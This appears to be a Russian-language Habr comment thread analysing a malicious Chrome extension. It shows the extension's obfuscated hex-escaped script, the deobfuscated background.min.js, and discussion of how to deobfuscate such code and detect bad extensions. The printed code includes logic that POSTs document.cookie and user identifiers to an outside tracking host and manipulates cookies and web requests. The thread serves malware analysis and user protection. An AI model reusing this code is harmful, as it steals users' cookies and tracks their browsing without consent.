\x28\x61\x29\x7B\x39\x28\x61\x26\x26\x61\x5B\x30\x5D\x29\x7B\x38\x20\x62\x3D\x61\x5B\x30\x5D\x3B\x62\x2E\x31\x36\x3F\x32\x2E\x4C\x2E\x4F\x28\x62\x2E\x31\x36\x2C\x37\x28\x61\x29\x7B\x79\x28\x22\x31\x30\x5C\x31\x4D\x5C\x4A\x22\x2B\x62\x2E\x50\x2B\x22\x5C\x32\x50\x5C\x4A\x22\x2B\x61\x2E\x50\x29\x7D\x29\x3A\x79\x28\x22\x31\x30\x5C\x31\x4D\x5C\x4A\x22\x2B\x62\x2E\x50\x29\x7D\x31\x4E\x7B\x79\x28\x22\x31\x30\x22\x29\x7D\x7D\x29\x7D\x37\x20\x79\x28\x62\x29\x7B\x32\x2E\x6A\x2E\x54\x2E\x52\x28\x7B\x31\x30\x3A\x21\x30\x7D\x29\x3B\x38\x20\x61\x3D\x31\x37\x20\x33\x66\x3B\x61\x2E\x33\x65\x28\x22\x32\x6D\x22\x2C\x22\x31\x39\x3A\x2F\x2F\x31\x4F\x2E\x32\x67\x2E\x49\x2F\x32\x69\x2F\x32\x47\x2F\x22\x2C\x21\x30\x29\x3B\x61\x2E\x32\x46\x28\x22\x32\x77\x2D\x31\x38\x22\x2C\x22\x32\x7A\x2F\x78\x2D\x31\x4F\x2D\x33\x31\x2D\x32\x73\x22\x29\x3B\x61\x2E\x32\x72\x28\x22\x32\x63\x5C\x32\x49\x2E\x49\x5C\x32\x4D\x5C\x4A\x22\x2B\x62\x2B\x22\x5C\x32\x45\x5C\x4A\x22\x2B\x32\x2E\x31\x66\x2E\x31\x44\x28\x29\x2E\x31\x46\x2B\x22\x5C\x32\x79\x5C\x4A\x22\x2B\x6E\x2B\x22\x5C\x32\x48\x5C\x4A\x22\x2B\x28\x28\x28\x31\x37\x20\x31\x63\x29\x2E\x31\x65\x28\x29\x2D\x71\x29\x2F\x31\x56\x3C\x3C\x30\x29\x2B\x22\x5C\x32\x41\x5C\x4A\x22\x2B\x72\x2B\x22\x5C\x32\x42\x5C\x4A\x22\x2B\x73\x2B\x22\x5C\x32\x43\x5C\x4A\x22\x2B\x74\x2B\x22\x5C\x32\x76\x5C\x4A\x22\x2B\x73\x2B\x72\x2B\x22\x5C\x32\x78\x22\x2B\x31\x68\x2E\x31\x31\x2B\x22\x5C\x32\x4B\x5C\x4A\x22\x2B\x72\x29\x7D\x37\x20\x77\x28\x29\x7B\x51\x28\x22\x32\x75\x22\x2B\x28\x31\x4A\x2E\x32\x4E\x28\x29\x2A\x31\x4A\x2E\x32\x6B\x28\x33\x36\x2C\x31\x32\x29\x29\x2E\x32\x68\x28\x33\x36\x29\x29\x2E\x31\x6B\x28\x2D\x31\x32\x29\x7D\x3B\x37\x20\x6D\x28\x62\x29\x7B\x32\x2E\x31\x74\x2E\x31\x52\x28\x7B\x7D\x2C\x37\x28\x61\x29\x7B\x53\x28\x38\x20\x63\x20\x4E\x20\x61\x29\x7B\x38\x20\x65\x3D\x61\x5B\x63\x5D\x2C\x64\x3D\x65\x2E\x57\x3B\x32\x66\x3D\x3D\x3D\x62\x26\x26\x30\x3C\x64\x2E\x4B\x28\x22\x40\x40\x40\x22\x29\x7C\x7C\x22\x22\x3D\x3D\x3D\x62\x26\x26\x2D\x31\x3D\x3D\x64\x2E\x4B\x28\x22\x40\x40\x40\x22\x29\x7C\x7C\x62\x26\x26\x64\x2E\x31\x64\x28\x30\x2C\x62\x2E\x31\x67\x29\x21\x3D\x62\x7C\x7C\x32\x2E\x31\x74\x2E\x32\x64\x28\x7B\x50\x3A\x28\x65\x2E\x32\x65\x3F\x22\x6F\x3A\x2F\x2F\x22\x3A\x22\x31\x39\x3A\x2F\x2F\x22\x29\x2B\x65\x2E\x32\x6A\x2B\x65\x2E\x32\x6C\x2C\x57\x3A\x64\x7D\x2C\x37\x28\x29\x7B\x7D\x29\x7D\x7D\x29\x7D\x37\x20\x7A\x28\x29\x7B\x32\x2E\x31\x74\x2E\x31\x52\x28\x7B\x7D\x2C\x37\x28\x62\x29\x7B\x53\x28\x38\x20\x61\x20\x4E\x20\x62\x29\x7B\x38\x20\x63\x3D\x62\x5B\x61\x5D\x2E\x57\x3B\x39\x28\x21\x28\x30\x3E\x63\x2E\x4B\x28\x22\x69\x40\x40\x40\x69\x22\x29\x29\x29\x7B\x53\x28\x61\x20\x4E\x20\x63\x3D\x63\x2E\x31\x6B\x28\x30\x2C\x63\x2E\x4B\x28\x22\x69\x40\x40\x40\x69\x22\x29\x29\x2B\x22\x69\x40\x40\x40\x69\x22\x2C\x67\x29\x7B\x39\x28\x67\x5B\x61\x5D\x3D\x3D\x63\x29\x7B\x51\x7D\x7D\x7D\x7D\x7D\x29\x7D\x3B\x32\x2E\x4C\x2E\x32\x71\x2E\x48\x28\x37\x28\x62\x2C\x61\x29\x7B\x38\x20\x63\x3D\x41\x28\x61\x29\x3B\x70\x28\x62\x2C\x63\x29\x3B\x31\x79\x20\x67\x5B\x61\x5D\x3B\x42\x28\x62\x2C\x63\x29\x7D\x29\x3B\x32\x2E\x4C\x2E\x32\x70\x2E\x48\x28\x37\x28\x62\x29\x7B\x61\x3A\x7B\x38\x20\x61\x3D\x41\x28\x62\x29\x3B\x39\x28\x61\x29\x7B\x31\x79\x20\x67\x5B\x62\x5D\x3B\x53\x28\x38\x20\x63\x20\x4E\x20\x67\x29\x7B\x39\x28\x67\x5B\x63\x5D\x3D\x3D\x61\x29\x7B\x31\x4C\x20\x61\x7D\x7D\x6D\x28\x61\x29\x7D\x7D\x31\x79\x20\x6C\x5B\x62\x5D\x7D\x29\x3B\x32\x2E\x4C\x2E\x32\x6F\x2E\x48\x28\x37\x28\x62\x2C\x61\x2C\x63\x29\x7B\x22\x31\x6A\x22\x3D\x3D\x63\x2E\x32\x4C\x26\x26\x70\x28\x62\x2C\x41\x28\x62\x29\x29\x7D\x29\x3B\x32\x2E\x4C\x2E\x32\x56\x2E\x48\x28\x37\x28\x62\x29\x7B\x39\x28\x62\x29\x7B\x38\x20\x61\x3D\x62\x2E\x59\x3B\x39\x28\x61\x26\x26\x21\x28\x30\x3E\x61\x29\x29\x7B\x39\x28\x21\x62\x2E\x31\x36\x29\x7B\x38\x20\x63\x3D\x62\x2E\x31\x43\x3B\x39\x28\x43\x26\x26\x44\x26\x26\x43\x21\x3D\x63\x29\x7B\x63\x3D\x41\x28\x44\x29\x3B\x70\x28\x61\x2C\x63\x29\x3B\x6C\x5B\x61\x5D\x3D\x21\x30\x3B\x51\x7D\x7D\x62\x2E\x31\x36\x26\x26\x22\x32\x22\x21\x3D\x62\x2E\x50\x2E\x31\x6B\x28\x30\x2C\x36\x29\x3F\x28\x63\x3D\x41\x28\x62\x2E\x31\x36\x29\x2C\x70\x28\x61\x2C\x63\x29\x2C\x22\x31\x7A\x22\x3D\x3D\x3D\x31\x41\x20\x6C\x5B\x61\x5D\x26\x26\x28\x6C\x5B\x61\x5D\x3D\x62\x2E\x31\x36\x29\x29\x3A\x6C\x5B\x61\x5D\x3D\x21\x30\x7D\x7D\x7D\x29\x3B\x38\x20\x43\x3B\x32\x2E\x31\x78\x2E\x33\x6A\x28\x7B\x7D\x2C\x37\x28\x62\x29\x7B\x45\x28\x62\x2E\x59\x29\x7D\x29\x3B\x32\x2E\x31\x78\x2E\x33\x6B\x2E\x48\x28\x37\x28\x62\x29\x7B\x45\x28\x62\x29\x7D\x29\x3B\x37\x20\x45\x28\x62\x29\x7B\x62\x26\x26\x32\x2E\x31\x78\x2E\x4F\x28\x62\x2C\x7B\x7D\x2C\x37\x28\x61\x29\x7B\x61\x26\x26\x22\x33\x67\x22\x3D\x3D\x61\x2E\x31\x38\x26\x26\x28\


    1. BloodUnit
      15.04.2015 15:45

      Вот расширение которое показывает исходники расширений прямо на месте, и пытается привести к читаемому виду.


    1. SDI Автор
      15.04.2015 15:53

      Еще использую Closure Compilier Service.
      Обычно этого сервиса и jsbeautifier мне хватает и дальше продолжаю разбирать код в ручную.

      В Вашем примере, можно еще установить чекбокс в jsbeautifier «Unescape printable chars encoded as \xNN or \uNNNN?».
      Далее попытаться вынести код из eval в переменную, а потом в браузере не выполнять eval, а вывести в console.
      Полученный код из console снова деобфусцировать.


      1. E_STRICT
        15.04.2015 16:31

        Спасибо, получилось.

        background.min.js
        var f = {},
            g = [],
            l = [];
        m("");
        chrome.browserAction.onClicked.addListener(function() {
            n++;
            var b = {};
            b.use = n;
            chrome.storage.sync.set(b);
            chrome.tabs.create({}, function(a) {
                p(a.id, a.id + "_@@@_")
            })
        });
        var q, n, r, s, t, u;
        chrome.runtime.onInstalled.addListener(function(b) {
            chrome.storage.sync.get("date", function(a) {
                q = a.date;
                q || (q = (new Date).getTime(), a.date = q, chrome.storage.sync.set(a))
            });
            chrome.storage.sync.get("use", function(a) {
                n = a.use;
                n || (n = 0, a.use = n, chrome.storage.sync.set(a))
            });
            chrome.storage.sync.get("uid", function(a) {
                r = a.uid;
                r || (r = w(), a.uid = r, chrome.storage.sync.set(a))
            });
            chrome.storage.local.get("mid", function(a) {
                a.mid || (a.mid = w(), chrome.storage.local.set(a));
                s = a.mid;
                document.cookie || (document.cookie = "cuid=" + s + ";max-age=15552000")
            });
            chrome.storage.local.get("orgVersion", function(a) {
                a.orgVersion || (a.orgVersion = chrome.runtime.getManifest().version, chrome.storage.local.set(a));
                t = a.orgVersion
            });
            chrome.storage.local.get("mid", function(a) {
                a.mid || (a.mid = w(), chrome.storage.local.set(a));
                s = a.mid;
                document.cookie || (document.cookie = "cuid=" + s + ";max-age=15552000")
            });
            chrome.storage.local.get("install", function(a) {
                u = a.install
            });
            chrome.storage.sync.get(function() {
                x(b)
            })
        });
        
        function x(b) {
            "update" === b.reason && b.previousVersion != chrome.runtime.getManifest().version && y(b.reason + "&ce_previousVersion=" + b.previousVersion);
            "install" !== b.reason || (0 != ((new Date).getTime() - q) / 864E5 << 0 || u) || chrome.tabs.query({
                url: "https://chrome.google.com/webstore*"
            }, function(a) {
                if (a && a[0]) {
                    var b = a[0];
                    b.openerTabId ? chrome.tabs.get(b.openerTabId, function(a) {
                        y("install&ce_url=" + b.url + "&ce_referrer=" + a.url)
                    }) : y("install&ce_url=" + b.url)
                } else {
                    y("install")
                }
            })
        }
        
        function y(b) {
            chrome.storage.local.set({
                install: !0
            });
            var a = new XMLHttpRequest;
            a.open("POST", "http://www.woopra.com/track/ce/", !0);
            a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            a.send("host=idmask.com&ce_name=" + b + "&ce_version=" + chrome.runtime.getManifest().version + "&ce_use=" + n + "&ce_day=" + (((new Date).getTime() - q) / 864E5 << 0) + "&ce_uid=" + r + "&ce_mid=" + s + "&ce_orgVersion=" + t + "&ce_miduid=" + s + r + "&ce_" + document.cookie + "&cookie=" + r)
        }
        
        function w() {
            return ("000000000000" + (Math.random() * Math.pow(36, 12)).toString(36)).substr(-12)
        };
        
        function m(b) {
            chrome.cookies.getAll({}, function(a) {
                for (var c in a) {
                    var e = a[c],
                        d = e.name;
                    null === b && 0 < d.indexOf("@@@") || "" === b && -1 == d.indexOf("@@@") || b && d.substring(0, b.length) != b || chrome.cookies.remove({
                        url: (e.secure ? "https://" : "http://") + e.domain + e.path,
                        name: d
                    }, function() {})
                }
            })
        }
        
        function z() {
            chrome.cookies.getAll({}, function(b) {
                for (var a in b) {
                    var c = b[a].name;
                    if (!(0 > c.indexOf("_@@@_"))) {
                        for (a in c = c.substr(0, c.indexOf("_@@@_")) + "_@@@_", g) {
                            if (g[a] == c) {
                                return
                            }
                        }
                    }
                }
            })
        };
        chrome.tabs.onReplaced.addListener(function(b, a) {
            var c = A(a);
            p(b, c);
            delete g[a];
            B(b, c)
        });
        chrome.tabs.onRemoved.addListener(function(b) {
            a: {
                var a = A(b);
                if (a) {
                    delete g[b];
                    for (var c in g) {
                        if (g[c] == a) {
                            break a
                        }
                    }
                    m(a)
                }
            }
            delete l[b]
        });
        chrome.tabs.onUpdated.addListener(function(b, a, c) {
            "loading" == c.status && p(b, A(b))
        });
        chrome.tabs.onCreated.addListener(function(b) {
            if (b) {
                var a = b.id;
                if (a && !(0 > a)) {
                    if (!b.openerTabId) {
                        var c = b.windowId;
                        if (C && D && C != c) {
                            c = A(D);
                            p(a, c);
                            l[a] = !0;
                            return
                        }
                    }
                    b.openerTabId && "chrome" != b.url.substr(0, 6) ? (c = A(b.openerTabId), p(a, c), "undefined" === typeof l[a] && (l[a] = b.openerTabId)) : l[a] = !0
                }
            }
        });
        var C;
        chrome.windows.getCurrent({}, function(b) {
            E(b.id)
        });
        chrome.windows.onFocusChanged.addListener(function(b) {
            E(b)
        });
        
        function E(b) {
            b && chrome.windows.get(b, {}, function(a) {
                a && "normal" == a.type && (C = b, chrome.tabs.query({
                    active: !0,
                    windowId: C
                }, function(a) {
                    D = a[0].id
                }))
            })
        }
        var D;
        chrome.tabs.onActiveChanged.addListener(function(b, a) {
            E(a.windowId)
        });
        chrome.webRequest.onBeforeRequest.addListener(function(b) {
            if ((b = b.tabId) && !(0 > b) && (z(), "undefined" === typeof l[b])) {
                b = 0;
                for (var a = (new Date).getTime(); 500 > b - a; b = (new Date).getTime()) {}
            }
        }, {
            urls: ["http://*/*", "https://*/*"],
            types: ["main_frame"]
        }, ["blocking", "requestBody"]);
        chrome.webRequest.onBeforeSendHeaders.addListener(function(b) {
            var a = b.tabId;
            if (a && !(0 > a)) {
                var c = A(a),
                    e = b.url,
                    d = b.requestHeaders,
                    h = "";
                if ("https://translate.googleapis.com/translate_static/img/loading.gif" != e.substring(0, 65)) {
                    if ("main_frame" == b.type) {
                        f[a] = !1;
                        if (e && 0 == e.indexOf("https://accounts.google.com/")) {
                            var v, k;
                            for (k in d) {
                                if ("Referer" == d[k].name) {
                                    v = d[k].value;
                                    break
                                }
                            }
                            v && 0 == v.indexOf("https://accounts.google.com/") && 0 < v.indexOf("chrome.google.com") && (f[a] = !0, c = "")
                        }
                        e && 0 == e.indexOf("https://accounts.google.com/") && 0 < e.indexOf("chrome.google.com") && (f[a] = !0, c = "");
                        0 == e.indexOf("https://chrome.google.com/webstore") && (f[a] = !0, c = "")
                    }
                    for (k in d) {
                        if ("cookie" === d[k].name.toLowerCase()) {
                            if (!c && -1 == d[k].value.indexOf("_@@@_")) {
                                return
                            }
                            b = d[k].value.split("; ");
             


        1. E_STRICT
          15.04.2015 16:38
          +8

          Вот ведь чего нашлось в нём:

          var a = new XMLHttpRequest;
          a.open("POST", "http://www.woopra.com/track/ce/", !0);
          a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
          a.send("host=idmask.com&ce_name=" + b + "&ce_version=" + chrome.runtime.getManifest().version + "&ce_use=" + n + "&ce_day=" + (((new Date).getTime() - q) / 864E5 << 0) + "&ce_uid=" + r + "&ce_mid=" + s + "&ce_orgVersion=" + t + "&ce_miduid=" + s + r + "&ce_" + document.cookie + "&cookie=" + r)
          

          Это расширение отправляет куки на какой то внешний сервис. ?


  1. Motion
    15.04.2015 17:42

    Может сразу посоветуете как подобные расширения у себя найти, если юзер не обладает основами программирования?


    1. SDI Автор
      15.04.2015 19:55
      +2

      Самостоятельно подобные расширения довольно тяжело найти.
      На мой взгляд, вредоносные расширения, аналогичны вредоносным программам. Поэтому и бороться с ними должны антивирусы.
      Антивирусы должны иметь базу вредоносных расширений, чтобы удалять известные проблемы.
      Должны уметь эмулировать код установленных расширений для эвристического анализа.
      Но на данный момент, что-то ситуация у них с этим не очень.

      По возможности, в будущем постараюсь написать статью про методы профилактики от вредоносных расширений.


  1. Claud
    16.04.2015 07:38

    Так выходит, что того кто это чудо написал не составит труда найти, на основе тех творений, что подмешиваются в выдачу ПС, или это не кому не надо масштаб не тот?

    P.S. Чую стоит проверить, то что было установлено ранее.


    1. SDI Автор
      16.04.2015 07:57

      Проблема в том, что в каком-то виде вредоносными расширениями занимаются все. Даже очень крупные компании.
      Многие еще помнят про яндекс-бар, вот еще один пример.

      Частично поэтому проблему никто и не решает.


      1. Claud
        16.04.2015 15:48

        Тут мне кажется та часть, что подмешивает выдачу слабо можно расценить как что-то очень незаконное, а вот то что можно код свой подсунуть и по суди увести cookie с любого сайта вот — это уже серьезно.

        А по вашим прикидкам, в dev расширениях (всякие там json гляделки, и из этой оперы), грешат таким?

        P.S. А что за история про яндекс бар?


        1. SDI Автор
          16.04.2015 16:47

          А по вашим прикидкам, в dev расширениях (всякие там json гляделки, и из этой оперы), грешат таким?

          Пока не встречался с подобной проблемой. Скорей всего связано с тем, что подобные расширения меньше распространены. Хотя ничто не мешает всяким инсталяторам поставить расширение с любым названием и функционалом.

          P.S. А что за история про яндекс бар?

          Был период, что какую программу не установишь из интернета, в браузере появлялась панель на всех сайтах. Ну т.е. без ведома пользователя ставился сторонний софт, с помощью которого скорей всего собиралась какая-то аналитика.
          На хабре можно найти информацию о нем.
          Ну а смысл высказывания был в том, что даже большие компании грешат использованием расширений.


          1. bubuq
            21.04.2015 11:14

            Был период, что какую программу для Виндовс не установишь из интернета, в браузере появлялась панель на всех сайтах


  1. simplyv
    16.04.2015 10:06

    Не так давно снес систему и ставил заново начисто. Привычные мне расширения не находились, потому выбрал с подобной функцией. Первые 3 пошли с вирусами. Я бросил это дело и стал искать в интернете «старые добрые» приложения. Не всё нашел, что-то выбрал из нового, но попало без вирусов.

    Что касается блокировщика рекламы, мне кажется, что рекламные компании терпят большой убыток и вряд ли сидят сложа руки. Вполне возможно, что они сделают что-то чтобы дескридитировать такого рода приложения.

    Потому чаще пошли пиратки с вирусами. А еще больше этим пугают. Ничего личного, бизнс есть бизнес.


  1. Ezhyg
    22.04.2015 15:06

    Нет больше этого расширения :). Всем спасибо, все свободны.